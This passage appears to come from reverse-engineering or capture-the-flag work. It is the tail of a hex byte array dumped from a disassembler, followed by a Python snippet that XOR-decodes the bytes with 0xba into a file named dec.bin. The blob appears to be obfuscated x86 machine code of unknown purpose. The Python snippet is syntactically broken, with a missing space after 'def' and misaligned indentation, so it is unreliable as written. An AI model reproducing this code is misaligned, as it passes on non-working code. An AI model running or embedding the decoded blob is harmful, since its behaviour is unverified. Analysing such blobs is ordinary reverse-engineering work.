0xd3, 0x71, 0x7c, 0xfe, 0x9e, 0xd0, 0x76, 0x7c, 0xfe, 0x9e, 0xd1, 0x77, 0x7c, 0xfe, 0x9e, 0xd6, 0x74, 0x7c, 0xfe, 0x9e, 0xd7, 0x75, 0x7c, 0xfe, 0x9e, 0xd4, 0x6e, 0x7c, 0xfe, 0x9e, 0xd5, 0x6a, 0x7d, 0xfe, 0x9e, 0xaa, 0xba, 0xba, 0xba, 0xba, 0x51, 0xb0, 0x31, 0xfe, 0x9e, 0xaa, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xaa, 0x39, 0xc6, 0x9e, 0xaa, 0xfa, 0xc7, 0xa7, 0xf2, 0xd9, 0xfe, 0x9e, 0xaa, 0xb5, 0x4, 0xfe, 0xbe, 0x8a, 0x8f, 0x45, 0xba, 0xba, 0xba, 0xf2, 0xd9, 0xf6, 0x9e, 0xaa, 0x32, 0x3e, 0xb6, 0xa, 0xba, 0xba, 0xba, 0x51, 0x68, 0x7d, 0xfe, 0x9e, 0xbe, 0xba, 0xba, 0xba, 0xba, 0x7d, 0xfe, 0x9e, 0xae, 0x92, 0xba, 0xba, 0xba, 0x7d, 0xbe, 0x9e, 0xba, 0xba, 0xba, 0xba, 0x51, 0xb3, 0x31, 0xbe, 0x9e, 0x39, 0x7a, 0xb9, 0x33, 0xbe, 0x9e, 0x31, 0xfe, 0x9e, 0xae, 0x83, 0xbe, 0x9e, 0xb5, 0x37, 0x6b, 0xbb, 0xba, 0xba, 0xf2, 0xd9, 0xbe, 0x9e, 0xf2, 0x31, 0x36, 0x9e, 0xaa, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xbe, 0xbb, 0x32, 0xfe, 0x9e, 0xb7, 0x31, 0xbe, 0x9e, 0x45, 0x7a, 0x81, 0xfe, 0x9e, 0xae, 0xc7, 0xa3, 0x31, 0xbe, 0x9e, 0x45, 0x7a, 0xf2, 0x22, 0xf2, 0x31, 0x36, 0x9e, 0xaa, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xbe, 0xbb, 0x33, 0xfe, 0x9e, 0xa6, 0x51, 0xb2, 0x7d, 0xfe, 0x9e, 0xa6, 0xba, 0xba, 0xba, 0xba, 0xb5, 0xc, 0xfe, 0x9e, 0xa6, 0x32, 0xfe, 0x9e, 0xb4, 0x31, 0xbe, 0x9e, 0x39, 0x7a, 0xb8, 0x81, 0xfe, 0x9e, 0xae, 0xc7, 0xa0, 0x31, 0xbe, 0x9e, 0x39, 0x7a, 0xb8, 0xf2, 0x22, 0xf2, 0x31, 0x36, 0x9e, 0xaa, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xbe, 0xbb, 0x33, 0xfe, 0x9e, 0x9a, 0x51, 0xb2, 0x7d, 0xfe, 0x9e, 0x9a, 0xba, 0xba, 0xba, 0xba, 0xb5, 0xc, 0xfe, 0x9e, 0x9a, 0x32, 0xfe, 0x9e, 0xb5, 0xb5, 0xc, 0xfe, 0x9e, 0xb7, 0x7b, 0x42, 0xb8, 0x39, 0x5a, 0x85, 0x32, 0xfe, 0x9e, 0xb3, 0xb5, 0xc, 0xfe, 0x9e, 0xb7, 0x39, 0x5a, 0xb9, 0x7b, 0x5a, 0xbe, 0xb5, 0xc, 0xf6, 0x9e, 0xb4, 0x7b, 0x43, 0xbe, 0x39, 0x5b, 0xb5, 0xb1, 0x7b, 0x32, 0xfe, 0x9e, 0xb0, 0xb5, 0xc, 0xfe, 0x9e, 0xb4, 0x39, 0x5a, 0xb5, 0x7b, 0x5a, 0xb8, 0xb5, 0xc, 0xf6, 0x9e, 0xb5, 0x7b, 0x43, 0xbc, 0x39, 0x5b, 0xb9, 0xb1, 0x7b, 0x32, 0xfe, 0x9e, 0xb1, 0xb5, 0xc, 0xfe, 0x9e, 0xb5, 0x39, 0x5a, 0x85, 0x32, 0xfe, 0x9e, 0xb6, 0xb5, 0xc, 0xfe, 0x9e, 0xb3, 0x32, 0xfe, 0x9e, 0xb2, 0xb5, 0xc, 0xfe, 0x9e, 0xb0, 0x32, 0xfe, 0x9e, 0xb3, 0xb5, 0xc, 0xfe, 0x9e, 0xb2, 0x32, 0xfe, 0x9e, 0xb0, 0xb5, 0xc, 0xfe, 0x9e, 0xb1, 0x32, 0xfe, 0x9e, 0xb2, 0xb5, 0xc, 0xfe, 0x9e, 0xb6, 0x32, 0xfe, 0x9e, 0xb1, 0xb5, 0xc, 0xfe, 0x9e, 0xb2, 0x32, 0xfe, 0x9e, 0xb6, 0xb5, 0xc, 0xfe, 0x9e, 0xb3, 0xf2, 0xd9, 0xf6, 0x9e, 0xbe, 0xb5, 0xc, 0x3e, 0xbe, 0xa, 0xba, 0xba, 0xba, 0x32, 0xfe, 0xb6, 0xca, 0x31, 0xfe, 0x9e, 0xbe, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xbe, 0xb5, 0xc, 0xfe, 0x9e, 0xb0, 0xf2, 0xd9, 0xf6, 0x9e, 0xbe, 0xb5, 0xc, 0x3e, 0xbe, 0xa, 0xba, 0xba, 0xba, 0x32, 0xfe, 0xb6, 0xca, 0x31, 0xfe, 0x9e, 0xbe, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xbe, 0x31, 0xbe, 0x9e, 0x45, 0x7a, 0x81, 0xfe, 0x9e, 0xae, 0xc7, 0x98, 0xb5, 0xc, 0xfe, 0x9e, 0xb1, 0xf2, 0xd9, 0xf6, 0x9e, 0xbe, 0xb5, 0xc, 0x3e, 0xbe, 0xa, 0xba, 0xba, 0xba, 0x32, 0xfe, 0xb6, 0xca, 0x31, 0xfe, 0x9e, 0xbe, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xbe, 0x51, 0xae, 0xf2, 0xd9, 0xfe, 0x9e, 0xbe, 0x7c, 0xfe, 0xbe, 0xca, 0x87, 0x31, 0xfe, 0x9e, 0xbe, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xbe, 0x31, 0xbe, 0x9e, 0x39, 0x7a, 0xb8, 0x81, 0xfe, 0x9e, 0xae, 0xc7, 0x98, 0xb5, 0xc, 0xfe, 0x9e, 0xb6, 0xf2, 0xd9, 0xf6, 0x9e, 0xbe, 0xb5, 0xc, 0x3e, 0xbe, 0xa, 0xba, 0xba, 0xba, 0x32, 0xfe, 0xb6, 0xca, 0x31, 0xfe, 0x9e, 0xbe, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xbe, 0x51, 0xae, 0xf2, 0xd9, 0xfe, 0x9e, 0xbe, 0x7c, 0xfe, 0xbe, 0xca, 0x87, 0x31, 0xfe, 0x9e, 0xbe, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xbe, 0x53, 0xa3, 0x44, 0x45, 0x45, 0x7d, 0xbe, 0x9e, 0xba, 0xba, 0xba, 0xba, 0x51, 0xb2, 0x31, 0xbe, 0x9e, 0x45, 0x7a, 0x33, 0xbe, 0x9e, 0x31, 0xfe, 0x9e, 0xbe, 0x83, 0xbe, 0x9e, 0xc7, 0xa0, 0xf2, 0xd9, 0xbe, 0x9e, 0xf2, 0xd9, 0xb6, 0x9e, 0xf2, 0x31, 0x2e, 0x9e, 0xa2, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xfe, 0xbe, 0xca, 0x32, 0xbe, 0xb0, 0x51, 0x6f, 0x7d, 0xfe, 0x9e, 0xa2, 0xae, 0xff, 0xab, 0xba, 0x7d, 0xbe, 0x9e, 0xba, 0xba, 0xba, 0xba, 0x51, 0xb2, 0x31, 0xbe, 0x9e, 0x45, 0x7a, 0x33, 0xbe, 0x9e, 0x31, 0xfe, 0x9e, 0xbe, 0x83, 0xbe, 0x9e, 0xb5, 0x37, 0x29, 0xba, 0xba, 0xba, 0x31, 0xbe, 0x9e, 0x7b, 0x5a, 0xb9, 0x23, 0x3, 0xa2, 0xba, 0xba, 0xba, 0x4d, 0x43, 0x31, 0x78, 0xb5, 0xc, 0x72, 0x31, 0xfe, 0x9e, 0xa2, 0x69, 0x52, 0x9f, 0x45, 0xba, 0xba, 0xba, 0xf2, 0xd9, 0xb6, 0x9e, 0xf2, 0x31, 0x2e, 0x9e, 0xa2, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xb6, 0xb0, 0x89, 0x72, 0x31, 0x7b, 0xf2, 0xd9, 0xb6, 0x9e, 0xf2, 0x31, 0x2e, 0x9e, 0xa2, 0xbb, 0xba, 0xba, 0x32, 0xbe, 0xb0, 0xf2, 0xd9, 0xbe, 0x9e, 0xf2, 0x31, 0x36, 0x9e, 0xa2, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xbe, 0xbb, 0x7b, 0x5a, 0xb8, 0xf2, 0xd9, 0xb6, 0x9e, 0xf2, 0x31, 0x2e, 0x9e, 0xa2, 0xbb, 0xba, 0xba, 0xb5, 0xc, 0xb6, 0xb0, 0x7b, 0x43, 0xbc, 0xb1, 0x7b, 0x8f, 0x0, 0xba, 0xba, 0xba, 0xf2, 0xd9, 0xb6, 0x9e, 0xf2, 0x31, 0x2e, 0x9e, 0xa2, 0xbb, 0xba, 0xba, 0x32, 0xbe, 0xb0, 0xd3, 0xfe, 0x9e, 0xa2, 0x29, 0xbb, 0xbb, 0xbb, 0xbf, 0xc2, 0xec, 0x8e, 0xa8, 0x33, 0xfe, 0x9e, 0xa2, 0x53, 0xe2, 0x45, 0x45, 0x45, 0xf2, 0x31, 0x3e, 0x9e, 0x9a, 0xbb, 0xba, 0xba, 0x31, 0xf6, 0x9e, 0xbe, 0x33, 0xb2, 0xf2, 0x3b, 0x7e, 0xb2, 0xbb, 0xba, 0xba, 0x79]
defdecrypt_blob():
    dec = []
for i in range(0x491):
        dec.append(IDA_7ffc3254f000[i] ^ 0xba)
return dec
with open("dec.bin", "wb") as f:
    f.write(bytes(decrypt_blob()))